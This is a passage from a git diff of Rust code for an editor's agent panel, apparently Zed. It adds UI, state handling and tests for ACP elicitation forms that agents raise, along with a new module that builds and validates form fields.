+    fn respond_to_request_elicitation(
+        &mut self,
+        elicitation_id: ElicitationEntryId,
+        response: acp::CreateElicitationResponse,
+        cx: &mut Context<Self>,
+    ) {
+        self.request_elicitation_form_states.remove(&elicitation_id);
+        if let Some(store) = self.request_elicitation_store() {
+            store.update(cx, |store, cx| {
+                store.respond_to_elicitation(&elicitation_id, response, cx);
+            });
+        }
+        cx.notify();
+    }
+
+    fn cancel_request_elicitations(&mut self, cx: &mut App) {
+        self.request_elicitation_form_states.clear();
+        if let Some(store) = self.request_elicitation_store() {
+            store.update(cx, |store, cx| store.clear(cx));
+        }
+    }
+
+    fn clear_resolved_request_elicitations(&mut self, cx: &mut App) {
+        if let Some(connection) = self.request_elicitation_connection() {
+            self.clear_resolved_request_elicitations_for_connection(&connection, cx);
+        }
+    }
+
+    fn clear_resolved_request_elicitations_for_connection(
+        &mut self,
+        connection: &Rc<dyn AgentConnection>,
+        cx: &mut App,
+    ) {
+        let Some(store) = connection.request_elicitations() else {
+            return;
+        };
+        let cleared_ids = store.update(cx, |store, cx| store.clear_resolved(cx));
+        for id in cleared_ids {
+            self.request_elicitation_form_states.remove(&id);
+        }
+    }
+
     fn emit_load_error_telemetry(&self, error: &LoadError) {
         let error_kind = match error {
             LoadError::Unsupported { .. } => "unsupported",
@@ -2793,6 +3246,7 @@ impl ConversationView {
 
     pub(crate) fn reauthenticate(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         let agent_id = self.agent.agent_id();
+        self.cancel_request_elicitations(cx);
         if let Some(active) = self.root_thread_view() {
             active.update(cx, |active, cx| active.clear_thread_error(cx));
         }
@@ -2829,24 +3283,27 @@ impl ConversationView {
                         if let Some(active) = this.root_thread_view() {
                             active.update(cx, |active, cx| active.handle_thread_error(err, cx));
                         }
-                    } else if let Some(connected) = this.as_connected_mut() {
-                        connected.auth_state = AuthState::Unauthenticated {
-                            description: None,
-                            configuration_view: None,
-                            pending_auth_method: None,
-                            _subscription: None,
-                        };
-                        cx.emit(StateChange);
-                        if let Some(view) = connected.active_view()
-                            && view
-                                .read(cx)
-                                .message_editor
-                                .focus_handle(cx)
-                                .is_focused(window)
-                        {
-                            this.focus_handle.focus(window, cx)
+                    } else {
+                        this.cancel_request_elicitations(cx);
+                        if let Some(connected) = this.as_connected_mut() {
+                            connected.auth_state = AuthState::Unauthenticated {
+                                description: None,
+                                configuration_view: None,
+                                pending_auth_method: None,
+                                _subscription: None,
+                            };
+                            cx.emit(StateChange);
+                            if let Some(view) = connected.active_view()
+                                && view
+                                    .read(cx)
+                                    .message_editor
+                                    .focus_handle(cx)
+                                    .is_focused(window)
+                            {
+                                this.focus_handle.focus(window, cx)
+                            }
+                            cx.notify();
                         }
-                        cx.notify();
                     }
                     drop(this.auth_task.take());
                 })
@@ -2936,71 +3393,85 @@ impl ConversationView {
 
 impl Render for ConversationView {
     fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        v_flex()
-            .track_focus(&self.focus_handle)
-            .size_full()
-            .bg(cx.theme().colors().panel_background)
-            .child(match &self.server_state {
-                ServerState::Loading { .. } => {
-                    let label_text = self
-                        .loading_status
-                        .clone()
-                        .unwrap_or_else(|| "Loading…".into());
-                    v_flex()
-                        .flex_1()
-                        .size_full()
-                        .items_center()
-                        .justify_center()
-                        .child(
-                            Label::new(label_text).color(Color::Muted).with_animation(
-                                "loading-agent-label",
-                                Animation::new(Duration::from_secs(2))
-                                    .repeat()
-                                    .with_easing(pulsating_between(0.3, 0.7)),
-                                |label, delta| label.alpha(delta),
-                            ),
-                        )
-                        .into_any()
-                }
-                ServerState::LoadError { error: e, .. } => v_flex()
+        self.sync_request_elicitation_states(window, cx);
+        let request_elicitation_connection = self.request_elicitation_connection();
+        let active_thread_renders_request_elicitations =
+            self.active_thread_renders_request_elicitations();
+        let content = match &self.server_state {
+            ServerState::Loading { .. } => {
+                let label_text = self
+                    .loading_status
+                    .clone()
+                    .unwrap_or_else(|| "Loading…".into());
+                v_flex()
                     .flex_1()
                     .size_full()
                     .items_center()
-                    .justify_end()
-                    .child(self.render_load_error(e, window, cx))
-                    .into_any(),
-                ServerState::Connected(ConnectedServerState {
+                    .justify_center()
+                    .child(
+                        Label::new(label_text).color(Color::Muted).with_animation(
+                            "loading-agent-label",
+                            Animation::new(Duration::from_secs(2))
+                                .repeat()
+                                .with_easing(pulsating_between(0.3, 0.7)),
+                            |label, delta| label.alpha(delta),
+                        ),
+                    )
+                    .into_any()
+            }
+            ServerState::LoadError { error: e, .. } => v_flex()
+                .flex_1()
+                .size_full()
+                .items_center()
+                .justify_end()
+                .child(self.render_load_error(e, window, cx))
+                .into_any(),
+            ServerState::Connected(ConnectedServerState {
+                connection,
+                auth_state:
+                    AuthState::Unauthenticated {
+                        description,
+                        configuration_view,
+                        pending_auth_method,
+                        _subscription,
+                    },
+                ..
+            }) => v_flex()
+                .flex_1()
+                .size_full()
+                .justify_end()
+                .child(self.render_auth_required_state(
                     connection,
-                    auth_state:
-                        AuthState::Unauthenticated {
-                            description,
-                            configuration_view,
-                            pending_auth_method,
-                            _subscription,
-                        },
-                    ..
-                }) => v_flex()
-                    .flex_1()
-                    .size_full()
-                    .justify_end()
-                    .child(self.render_auth_required_state(
-                        connection,
-                        description.as_ref(),
-                        configuration_view.as_ref(),
-                        pending_auth_method.as_ref(),
-                        window,
-                        cx,
-                    ))
-                    .into_any_element(),
-                ServerState::Connected(connected) => {
-                    if let Some(view) = connected.active_view() {
-                        view.clone().into_any_element()
-                    } else {
-                        debug_panic!("This state should never be reached");
-                        div().into_any_element()
-                    }
+                    description.as_ref(),
+                    configuration_view.as_ref(),
+                    pending_auth_method.as_ref(),
+                    window,
+                    cx,
+                ))
+                .into_any_element(),
+            ServerState::Connected(connected) => {
+                if let Some(view) = connected.active_view() {
+                    view.clone().into_any_element()
+                } else {
+                    debug_panic!("This state should never be reached");
+                    div().into_any_element()
                 }
-            })
+            }
+        };
+
+        v_flex()
+            .track_focus(&self.focus_handle)
+            .size_full()
+            .bg(cx.theme().colors().panel_background)
+            .child(v_flex().flex_1().min_h_0().child(content))
+            .when(!active_thread_renders_request_elicitations, |this| {
+                this.children(request_elicitation_connection.as_ref().map_or_else(
+                    Vec::new,
+                    |connection| {
+                        self.render_request_elicitations(connection, cx.entity().downgrade(), cx)
+                    },
+                ))
+            })
     }
 }
 
@@ -3227,7 +3698,7 @@ pub(crate) mod tests {
     use agent_servers::FakeAcpAgentServer;
     use editor::MultiBufferOffset;
     use editor::actions::Paste;
-    use feature_flags::FeatureFlagAppExt as _;
+    use feature_flags::{FeatureFlag as _, FeatureFlagAppExt as _};
     use fs::FakeFs;
     use gpui::{ClipboardItem, EventEmitter, TestAppContext, VisualTestContext, point, size};
     use parking_lot::Mutex;
@@ -3273,6 +3744,192 @@ pub(crate) mod tests {
         assert!(!weak_view.is_upgradable());
     }
 
+    #[gpui::test]
+    async fn test_drop_preserves_shared_pending_request_elicitations(cx: &mut TestAppContext) {
+        init_test(cx);
+        cx.update(|cx| {
+            cx.update_flags(true, vec![AcpBetaFeatureFlag::NAME.to_string()]);
+        });
+
+        let response = Arc::new(Mutex::new(None));
+        let server = ReleaseRequestElicitationServer {
+            response: response.clone(),
+        };
+        let (conversation_view, cx) = setup_conversation_view(server, cx).await;
+        let _connection = conversation_view
+            .read_with(cx, |view, _cx| view.request_elicitation_connection())
+            .expect("conversation should have an active connection");
+        let store = _connection
+            .request_elicitations()
+            .expect("connection should expose request elicitations");
+        store.read_with(cx, |store, _cx| {
+            assert_eq!(
+                store.elicitations().len(),
+                1,
+                "test should start with one pending request elicitation"
+            );
+        });
+
+        assert_eq!(*response.lock(), None);
+        let weak_view = conversation_view.downgrade();
+        drop(conversation_view);
+        cx.update(|_, _| {});
+        cx.run_until_parked();
+
+        assert!(!weak_view.is_upgradable());
+        store.read_with(cx, |store, _cx| {
+            assert_eq!(
+                store.elicitations().len(),
+                1,
+                "view release should not clear connection-wide request elicitations"
+            );
+        });
+        assert_eq!(*response.lock(), None);
+
+        store.update(cx, |store, cx| store.clear(cx));
+        cx.run_until_parked();
+        assert!(matches!(
+            response.lock().as_ref(),
+            Some(acp::ElicitationAction::Cancel)
+        ));
+    }
+
+    #[gpui::test]
+    async fn test_state_transition_preserves_shared_pending_request_elicitations(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+        cx.update(|cx| {
+            cx.update_flags(true, vec![AcpBetaFeatureFlag::NAME.to_string()]);
+        });
+
+        let response = Arc::new(Mutex::new(None));
+        let server = ReleaseRequestElicitationServer {
+            response: response.clone(),
+        };
+        let (conversation_view, cx) = setup_conversation_view(server, cx).await;
+        let connection = conversation_view
+            .read_with(cx, |view, _cx| view.request_elicitation_connection())
+            .expect("conversation should have an active connection");
+        let store = connection
+            .request_elicitations()
+            .expect("connection should expose request elicitations");
+        store.read_with(cx, |store, _cx| {
+            assert_eq!(
+                store.elicitations().len(),
+                1,
+                "test should start with one pending request elicitation"
+            );
+        });
+
+        conversation_view.update(cx, |view, cx| {
+            view.set_server_state(
+                ServerState::LoadError {
+                    error: LoadError::Other("load failed".into()),
+                },
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        store.read_with(cx, |store, _cx| {
+            assert_eq!(
+                store.elicitations().len(),
+                1,
+                "leaving a connection should not clear connection-wide request elicitations"
+            );
+        });
+        assert_eq!(*response.lock(), None);
+
+        store.update(cx, |store, cx| store.clear(cx));
+        cx.run_until_parked();
+        assert!(matches!(
+            response.lock().as_ref(),
+            Some(acp::ElicitationAction::Cancel)
+        ));
+    }
+
+    #[gpui::test]
+    async fn test_successful_session_creation_clears_resolved_request_elicitations(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+        cx.update(|cx| {
+            cx.update_flags(true, vec![AcpBetaFeatureFlag::NAME.to_string()]);
+        });
+
+        let store = cx.update(|cx| cx.new(|_| ElicitationStore::default()));
+        let response = Arc::new(Mutex::new(None));
+        let server = SessionCreationRequestElicitationServer {
+            store: store.clone(),
+            response: response.clone(),
+        };
+        let (conversation_view, cx) = setup_conversation_view(server, cx).await;
+        let first_request_id = acp::RequestId::Number(1);
+        let second_request_id = acp::RequestId::Number(2);
+        let first_elicitation_id = store.read_with(cx, |store, _cx| {
+            assert_eq!(
+                store.elicitations().len(),
+                2,
+                "session creation should be waiting on one prompt with another prompt still pending"
+            );
+            store
+                .elicitations()
+                .iter()
+                .find_map(|elicitation| {
+                    let acp::ElicitationScope::Request(scope) = elicitation.request.scope() else {
+                        return None;
+                    };
+                    (&scope.request_id == &first_request_id).then(|| elicitation.id.clone())
+                })
+                .expect("first request-scoped elicitation should exist")
+        });
+
+        store.update(cx, |store, cx| {
+            store.respond_to_elicitation(
+                &first_elicitation_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new(),
+                )),
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        assert!(matches!(
+            response.lock().as_ref(),
+            Some(acp::ElicitationAction::Accept(_))
+        ));
+        conversation_view.read_with(cx, |view, _cx| {
+            let connected = view
+                .as_connected()
+                .expect("session creation should complete successfully");
+            assert!(
+                connected.active_id.is_some(),
+                "successful session creation should install an active thread"
+            );
+        });
+        store.read_with(cx, |store, _cx| {
+            let [remaining] = store.elicitations() else {
+                panic!(
+                    "expected only the pending request elicitation to remain, got {:?}",
+                    store.elicitations()
+                );
+            };
+            let acp::ElicitationScope::Request(scope) = remaining.request.scope() else {
+                panic!("expected request-scoped elicitation");
+            };
+            assert_eq!(scope.request_id, second_request_id);
+            assert!(matches!(
+                remaining.status,
+                ElicitationStatus::Pending { .. }
+            ));
+        });
+
+        store.update(cx, |store, cx| store.clear(cx));
+        cx.run_until_parked();
+    }
+
     #[gpui::test]
     async fn test_external_source_prompt_requires_manual_send(cx: &mut TestAppContext) {
         init_test(cx);
@@ -3656,6 +4313,31 @@ pub(crate) mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_thread_view_seeds_existing_elicitation_form_state(cx: &mut TestAppContext) {
+        init_test(cx);
+        cx.update(|cx| {
+            cx.update_flags(true, vec![AcpBetaFeatureFlag::NAME.to_string()]);
+        });
+
+        let connection = PreloadedElicitationConnection::default();
+        let elicitation_id = connection.elicitation_id.clone();
+        let (conversation_view, cx) =
+            setup_conversation_view(StubAgentServer::new(connection), cx).await;
+
+        let elicitation_id = elicitation_id
+            .lock()
+            .clone()
+            .expect("connection should preload an elicitation");
+        let active_thread = active_thread(&conversation_view, cx);
+        active_thread.read_with(cx, |thread, _cx| {
+            assert!(
+                thread.has_elicitation_form_state(&elicitation_id),
+                "pending form elicitations that predate ThreadView construction should be usable"
+            );
+        });
+    }
+
     #[gpui::test]
     async fn test_resume_without_history_adds_notice(cx: &mut TestAppContext) {
         init_test(cx);
@@ -4120,6 +4802,10 @@ pub(crate) mod tests {
                 connected.active_id.is_none(),
                 "There should be no active thread since no session was created"
             );
+            assert!(
+                !view.active_thread_renders_request_elicitations(),
+                "request elicitations should render outside ThreadView when no thread exists"
+            );
             assert!(
                 connected.threads.is_empty(),
                 "There should be no threads since no session was created"
@@ -4159,6 +4845,10 @@ pub(crate) mod tests {
                 connected.active_id.is_some(),
                 "There should be an active thread after successful auth"
             );
+            assert!(
+                view.active_thread_renders_request_elicitations(),
+                "request elicitations should render inside ThreadView while authenticated"
+            );
             assert_eq!(
                 connected.threads.len(),
                 1,
@@ -4189,6 +4879,14 @@ pub(crate) mod tests {
                 !view.supports_logout(),
                 "Logout should be hidden after logout"
             );
+            assert!(
+                view.active_thread().is_some(),
+                "The existing thread should still exist after logout"
+            );
+            assert!(
+                !view.active_thread_renders_request_elicitations(),
+                "Unauthenticated auth UI should render request elicitations outside ThreadView"
+            );
         });
     }
 
@@ -5225,6 +5923,330 @@ pub(crate) mod tests {
         })
     }
 
+    #[derive(Clone, Default)]
+    struct PreloadedElicitationConnection {
+        elicitation_id: Arc<Mutex<Option<ElicitationEntryId>>>,
+    }
+
+    impl AgentConnection for PreloadedElicitationConnection {
+        fn agent_id(&self) -> AgentId {
+            AgentId::new("preloaded-elicitation")
+        }
+
+        fn telemetry_id(&self) -> SharedString {
+            "preloaded-elicitation".into()
+        }
+
+        fn new_session(
+            self: Rc<Self>,
+            project: Entity<Project>,
+            _work_dirs: PathList,
+            cx: &mut App,
+        ) -> Task<gpui::Result<Entity<AcpThread>>> {
+            let session_id = acp::SessionId::new("new-session");
+            let thread = build_test_thread(
+                self.clone(),
+                project,
+                "PreloadedElicitationConnection",
+                session_id.clone(),
+                cx,
+            );
+            thread.update(cx, |thread, cx| {
+                thread
+                    .request_elicitation(
+                        acp::CreateElicitationRequest::new(
+                            acp::ElicitationFormMode::new(
+                                acp::ElicitationSessionScope::new(session_id),
+                                acp::ElicitationSchema::new().string("name", true),
+                            ),
+                            "Provide a name",
+                        ),
+                        cx,
+                    )
+                    .expect("preloaded elicitation should be accepted")
+                    .detach();
+            });
+            let elicitation_id = thread.read_with(cx, |thread, _cx| {
+                thread.entries().iter().find_map(|entry| {
+                    if let AgentThreadEntry::Elicitation(elicitation_id) = entry {
+                        Some(elicitation_id.clone())
+                    } else {
+                        None
+                    }
+                })
+            });
+            *self.elicitation_id.lock() = elicitation_id;
+            Task::ready(Ok(thread))
+        }
+
+        fn auth_methods(&self) -> &[acp::AuthMethod] {
+            &[]
+        }
+
+        fn authenticate(
+            &self,
+            _method_id: acp::AuthMethodId,
+            _cx: &mut App,
+        ) -> Task<gpui::Result<()>> {
+            Task::ready(Ok(()))
+        }
+
+        fn prompt(
+            &self,
+            _params: acp::PromptRequest,
+            _cx: &mut App,
+        ) -> Task<gpui::Result<acp::PromptResponse>> {
+            Task::ready(Ok(acp::PromptResponse::new(acp::StopReason::EndTurn)))
+        }
+
+        fn cancel(&self, _session_id: &acp::SessionId, _cx: &mut App) {}
+
+        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
+            self
+        }
+    }
+
+    struct SessionCreationRequestElicitationServer {
+        store: Entity<ElicitationStore>,
+        response: Arc<Mutex<Option<acp::ElicitationAction>>>,
+    }
+
+    impl AgentServer for SessionCreationRequestElicitationServer {
+        fn logo(&self) -> ui::IconName {
+            ui::IconName::ZedAgent
+        }
+
+        fn agent_id(&self) -> AgentId {
+            "SessionCreationRequestElicitation".into()
+        }
+
+        fn connect(
+            &self,
+            _delegate: AgentServerDelegate,
+            _project: Entity<Project>,
+            _cx: &mut App,
+        ) -> Task<gpui::Result<Rc<dyn AgentConnection>>> {
+            let connection = SessionCreationRequestElicitationConnection {
+                store: self.store.clone(),
+                response: self.response.clone(),
+            };
+            Task::ready(Ok(Rc::new(connection)))
+        }
+
+        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
+            self
+        }
+    }
+
+    struct SessionCreationRequestElicitationConnection {
+        store: Entity<ElicitationStore>,
+        response: Arc<Mutex<Option<acp::ElicitationAction>>>,
+    }
+
+    impl AgentConnection for SessionCreationRequestElicitationConnection {
+        fn agent_id(&self) -> AgentId {
+            AgentId::new("session-creation-request-elicitation")
+        }
+
+        fn telemetry_id(&self) -> SharedString {
+            "session-creation-request-elicitation".into()
+        }
+
+        fn new_session(
+            self: Rc<Self>,
+            project: Entity<Project>,
+            _work_dirs: PathList,
+            cx: &mut App,
+        ) -> Task<gpui::Result<Entity<AcpThread>>> {
+            let thread = build_test_thread(
+                self.clone(),
+                project,
+                "SessionCreationRequestElicitationConnection",
+                acp::SessionId::new("session-creation-request-elicitation-session"),
+                cx,
+            );
+            let first_response_task = self.store.update(cx, |store, cx| {
+                store
+                    .request_elicitation(
+                        acp::CreateElicitationRequest::new(
+                            acp::ElicitationFormMode::new(
+                                acp::ElicitationRequestScope::new(acp::RequestId::Number(1)),
+                                acp::ElicitationSchema::new().string("name", true),
+                            ),
+                            "Provide a name",
+                        ),
+                        cx,
+                    )
+                    .expect("first request-scoped elicitation should be accepted")
+            });
+            self.store
+                .update(cx, |store, cx| {
+                    store
+                        .request_elicitation(
+                            acp::CreateElicitationRequest::new(
+                                acp::ElicitationFormMode::new(
+                                    acp::ElicitationRequestScope::new(acp::RequestId::Number(2)),
+                                    acp::ElicitationSchema::new().string("account", true),
+                                ),
+                                "Provide an account",
+                            ),
+                            cx,
+                        )
+                        .expect("second request-scoped elicitation should be accepted")
+                })
+                .detach();
+
+            let response = self.response.clone();
+            cx.spawn(async move |_cx| {
+                let elicitation_response = first_response_task.await;
+                *response.lock() = Some(elicitation_response.action);
+                Ok(thread)
+            })
+        }
+
+        fn request_elicitations(&self) -> Option<Entity<ElicitationStore>> {
+            Some(self.store.clone())
+        }
+
+        fn auth_methods(&self) -> &[acp::AuthMethod] {
+            &[]
+        }
+
+        fn authenticate(
+            &self,
+            _method_id: acp::AuthMethodId,
+            _cx: &mut App,
+        ) -> Task<gpui::Result<()>> {
+            Task::ready(Ok(()))
+        }
+
+        fn prompt(
+            &self,
+            _params: acp::PromptRequest,
+            _cx: &mut App,
+        ) -> Task<gpui::Result<acp::PromptResponse>> {
+            Task::ready(Ok(acp::PromptResponse::new(acp::StopReason::EndTurn)))
+        }
+
+        fn cancel(&self, _session_id: &acp::SessionId, _cx: &mut App) {}
+
+        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
+            self
+        }
+    }
+
+    struct ReleaseRequestElicitationServer {
+        response: Arc<Mutex<Option<acp::ElicitationAction>>>,
+    }
+
+    impl AgentServer for ReleaseRequestElicitationServer {
+        fn logo(&self) -> ui::IconName {
+            ui::IconName::ZedAgent
+        }
+
+        fn agent_id(&self) -> AgentId {
+            "ReleaseRequestElicitation".into()
+        }
+
+        fn connect(
+            &self,
+            _delegate: AgentServerDelegate,
+            _project: Entity<Project>,
+            cx: &mut App,
+        ) -> Task<gpui::Result<Rc<dyn AgentConnection>>> {
+            let connection = ReleaseRequestElicitationConnection {
+                store: cx.new(|_| ElicitationStore::default()),
+                response: self.response.clone(),
+            };
+            Task::ready(Ok(Rc::new(connection)))
+        }
+
+        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
+            self
+        }
+    }
+
+    struct ReleaseRequestElicitationConnection {
+        store: Entity<ElicitationStore>,
+        response: Arc<Mutex<Option<acp::ElicitationAction>>>,
+    }
+
+    impl AgentConnection for ReleaseRequestElicitationConnection {
+        fn agent_id(&self) -> AgentId {
+            AgentId::new("release-request-elicitation")
+        }
+
+        fn telemetry_id(&self) -> SharedString {
+            "release-request-elicitation".into()
+        }
+
+        fn new_session(
+            self: Rc<Self>,
+            project: Entity<Project>,
+            _work_dirs: PathList,
+            cx: &mut App,
+        ) -> Task<gpui::Result<Entity<AcpThread>>> {
+            let thread = build_test_thread(
+                self.clone(),
+                project,
+                "ReleaseRequestElicitationConnection",
+                acp::SessionId::new("release-request-elicitation-session"),
+                cx,
+            );
+            let response_task = self.store.update(cx, |store, cx| {
+                store
+                    .request_elicitation(
+                        acp::CreateElicitationRequest::new(
+                            acp::ElicitationFormMode::new(
+                                acp::ElicitationRequestScope::new(acp::RequestId::Number(1)),
+                                acp::ElicitationSchema::new().string("name", true),
+                            ),
+                            "Provide a name",
+                        ),
+                        cx,
+                    )
+                    .expect("request-scoped elicitation should be accepted")
+            });
+            let response = self.response.clone();
+            cx.spawn(async move |_cx| {
+                let elicitation_response = response_task.await;
+                *response.lock() = Some(elicitation_response.action);
+            })
+            .detach();
+            Task::ready(Ok(thread))
+        }
+
+        fn request_elicitations(&self) -> Option<Entity<ElicitationStore>> {
+            Some(self.store.clone())
+        }
+
+        fn auth_methods(&self) -> &[acp::AuthMethod] {
+            &[]
+        }
+
+        fn authenticate(
+            &self,
+            _method_id: acp::AuthMethodId,
+            _cx: &mut App,
+        ) -> Task<gpui::Result<()>> {
+            Task::ready(Ok(()))
+        }
+
+        fn prompt(
+            &self,
+            _params: acp::PromptRequest,
+            _cx: &mut App,
+        ) -> Task<gpui::Result<acp::PromptResponse>> {
+            Task::ready(Ok(acp::PromptResponse::new(acp::StopReason::EndTurn)))
+        }
+
+        fn cancel(&self, _session_id: &acp::SessionId, _cx: &mut App) {}
+
+        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
+            self
+        }
+    }
+
     #[derive(Clone)]
     struct ResumeOnlyAgentConnection;
 
diff --git a/crates/agent_ui/src/conversation_view/elicitation.rs b/crates/agent_ui/src/conversation_view/elicitation.rs
new file mode 100644
index 00000000000000..ae3f3a81b85517
--- /dev/null
+++ b/crates/agent_ui/src/conversation_view/elicitation.rs
@@ -0,0 +1,1642 @@
+use acp_thread::{Elicitation, ElicitationEntryId, ElicitationStatus};
+use agent_client_protocol::schema::v1 as acp;
+use collections::{HashMap, HashSet};
+use component::{Component, ComponentScope, example_group_with_title, single_example};
+use editor::Editor;
+use futures::channel::oneshot;
+use gpui::{AnyElement, App, Div, Empty, Entity, Hsla, SharedString, Window, div};
+use std::collections::BTreeMap;
+use std::rc::Rc;
+use ui::{
+    Button, Checkbox, Color, Icon, IconName, IconSize, Indicator, Label, LabelSize, ToggleState,
+    prelude::*,
+};
+
+#[derive(Clone)]
+struct ElicitationOption {
+    value: String,
+    label: SharedString,
+}
+
+enum ElicitationFieldState {
+    Text(Entity<Editor>),
+    Boolean(bool),
+    SingleSelect { value: Option<String> },
+    MultiSelect(HashSet<String>),
+}
+
+pub(crate) struct ElicitationFormState {
+    fields: HashMap<String, ElicitationFieldState>,
+    field_errors: HashMap<String, SharedString>,
+}
+
+impl ElicitationFormState {
+    pub(crate) fn new(schema: &acp::ElicitationSchema, window: &mut Window, cx: &mut App) -> Self {
+        let required = schema.required.as_deref().unwrap_or_default();
+        let mut fields = HashMap::default();
+
+        for (name, property) in &schema.properties {
+            let is_required = required.iter().any(|required| required == name);
+            let field = match property {
+                acp::ElicitationPropertySchema::String(schema) => {
+                    let options = single_select_options(schema);
+                    if options.is_empty() {
+                        let editor = cx.new(|cx| {
+                            let mut editor = Editor::single_line(window, cx);
+                            if let Some(default) = &schema.default {
+                                editor.set_text(default.clone(), window, cx);
+                            }
+                            editor
+                        });
+                        ElicitationFieldState::Text(editor)
+                    } else {
+                        let value = single_select_default_value(schema, &options).or_else(|| {
+                            is_required
+                                .then(|| options.first().map(|option| option.value.clone()))
+                                .flatten()
+                        });
+                        ElicitationFieldState::SingleSelect { value }
+                    }
+                }
+                acp::ElicitationPropertySchema::Number(schema) => {
+                    let editor = cx.new(|cx| {
+                        let mut editor = Editor::single_line(window, cx);
+                        if let Some(default) = schema.default {
+                            editor.set_text(default.to_string(), window, cx);
+                        }
+                        editor
+                    });
+                    ElicitationFieldState::Text(editor)
+                }
+                acp::ElicitationPropertySchema::Integer(schema) => {
+                    let editor = cx.new(|cx| {
+                        let mut editor = Editor::single_line(window, cx);
+                        if let Some(default) = schema.default {
+                            editor.set_text(default.to_string(), window, cx);
+                        }
+                        editor
+                    });
+                    ElicitationFieldState::Text(editor)
+                }
+                acp::ElicitationPropertySchema::Boolean(schema) => {
+                    ElicitationFieldState::Boolean(schema.default.unwrap_or(false))
+                }
+                acp::ElicitationPropertySchema::Array(schema) => {
+                    ElicitationFieldState::MultiSelect(
+                        schema
+                            .default
+                            .clone()
+                            .unwrap_or_default()
+                            .into_iter()
+                            .collect(),
+                    )
+                }
+                _ => continue,
+            };
+            fields.insert(name.clone(), field);
+        }
+
+        Self {
+            fields,
+            field_errors: HashMap::default(),
+        }
+    }
+
+    pub(crate) fn collect(
+        &self,
+        schema: &acp::ElicitationSchema,
+        cx: &App,
+    ) -> Result<BTreeMap<String, acp::ElicitationContentValue>, HashMap<String, SharedString>> {
+        let required = schema.required.as_deref().unwrap_or_default();
+        let mut content = BTreeMap::new();
+        let mut errors = HashMap::default();
+
+        for (name, property) in &schema.properties {
+            let is_required = required.iter().any(|required| required == name);
+            let Some(field) = self.fields.get(name) else {
+                continue;
+            };
+
+            let field_content = match (property, field) {
+                (
+                    acp::ElicitationPropertySchema::String(schema),
+                    ElicitationFieldState::Text(editor),
+                ) => {
+                    let value = editor.read(cx).text(cx).to_string();
+                    if value.is_empty() {
+                        if is_required {
+                            Err(format!("{} is required", property_title(name, property)).into())
+                        } else {
+                            Ok(None)
+                        }
+                    } else {
+                        validate_string_value(property_title(name, property), schema, &value)
+                            .map(|()| Some(value.into()))
+                    }
+                }
+                (
+                    acp::ElicitationPropertySchema::String(schema),
+                    ElicitationFieldState::SingleSelect { value },
+                ) => {
+                    if let Some(value) = value {
+                        validate_single_select_value(property_title(name, property), schema, value)
+                            .and_then(|()| {
+                                validate_string_value(property_title(name, property), schema, value)
+                            })
+                            .map(|()| Some(value.clone().into()))
+                    } else if is_required {
+                        Err(format!("{} is required", property_title(name, property)).into())
+                    } else {
+                        Ok(None)
+                    }
+                }
+                (
+                    acp::ElicitationPropertySchema::Number(schema),
+                    ElicitationFieldState::Text(editor),
+                ) => {
+                    let value = editor.read(cx).text(cx).trim().to_string();
+                    if value.is_empty() {
+                        if is_required {
+                            Err(format!("{} is required", property_title(name, property)).into())
+                        } else {
+                            Ok(None)
+                        }
+                    } else {
+                        validate_number_value(property_title(name, property), schema, &value)
+                            .map(|parsed| Some(parsed.into()))
+                    }
+                }
+                (
+                    acp::ElicitationPropertySchema::Integer(schema),
+                    ElicitationFieldState::Text(editor),
+                ) => {
+                    let value = editor.read(cx).text(cx).trim().to_string();
+                    if value.is_empty() {
+                        if is_required {
+                            Err(format!("{} is required", property_title(name, property)).into())
+                        } else {
+                            Ok(None)
+                        }
+                    } else {
+                        validate_integer_value(property_title(name, property), schema, &value)
+                            .map(|parsed| Some(parsed.into()))
+                    }
+                }
+                (
+                    acp::ElicitationPropertySchema::Boolean(schema),
+                    ElicitationFieldState::Boolean(value),
+                ) => {
+                    if is_required || *value || schema.default.is_some() {
+                        Ok(Some((*value).into()))
+                    } else {
+                        Ok(None)
+                    }
+                }
+                (
+                    acp::ElicitationPropertySchema::Array(schema),
+                    ElicitationFieldState::MultiSelect(selected),
+                ) => {
+                    let mut values = multi_select_options(schema)
+                        .into_iter()
+                        .filter_map(|option| {
+                            selected.contains(&option.value).then_some(option.value)
+                        })
+                        .collect::<Vec<_>>();
+                    values.sort();
+                    if values.is_empty() && !is_required {
+                        Ok(None)
+                    } else if schema
+                        .min_items
+                        .is_some_and(|min_items| values.len() < min_items as usize)
+                    {
+                        Err(
+                            format!("{} needs more selections", property_title(name, property))
+                                .into(),
+                        )
+                    } else if schema
+                        .max_items
+                        .is_some_and(|max_items| values.len() > max_items as usize)
+                    {
+                        Err(
+                            format!("{} has too many selections", property_title(name, property))
+                                .into(),
+                        )
+                    } else {
+                        Ok(Some(values.into()))
+                    }
+                }
+                _ => Ok(None),
+            };
+
+            match field_content {
+                Ok(Some(value)) => {
+                    content.insert(name.clone(), value);
+                }
+                Ok(None) => {}
+                Err(error) => {
+                    errors.insert(name.clone(), error);
+                }
+            }
+        }
+
+        if errors.is_empty() {
+            Ok(content)
+        } else {
+            Err(errors)
+        }
+    }
+
+    pub(crate) fn set_errors(&mut self, errors: HashMap<String, SharedString>) {
+        self.field_errors = errors;
+    }
+
+    pub(crate) fn set_field_error(
+        &mut self,
+        field_name: impl Into<String>,
+        error: impl Into<SharedString>,
+    ) {
+        self.field_errors.insert(field_name.into(), error.into());
+    }
+
+    pub(crate) fn set_boolean(&mut self, field_name: &str, value: bool) {
+        if let Some(ElicitationFieldState::Boolean(field)) = self.fields.get_mut(field_name) {
+            *field = value;
+            self.field_errors.remove(field_name);
+        }
+    }
+
+    pub(crate) fn set_single_select(&mut self, field_name: &str, value: String) {
+        if let Some(ElicitationFieldState::SingleSelect { value: selected }) =
+            self.fields.get_mut(field_name)
+        {
+            *selected = Some(value);
+            self.field_errors.remove(field_name);
+        }
+    }
+
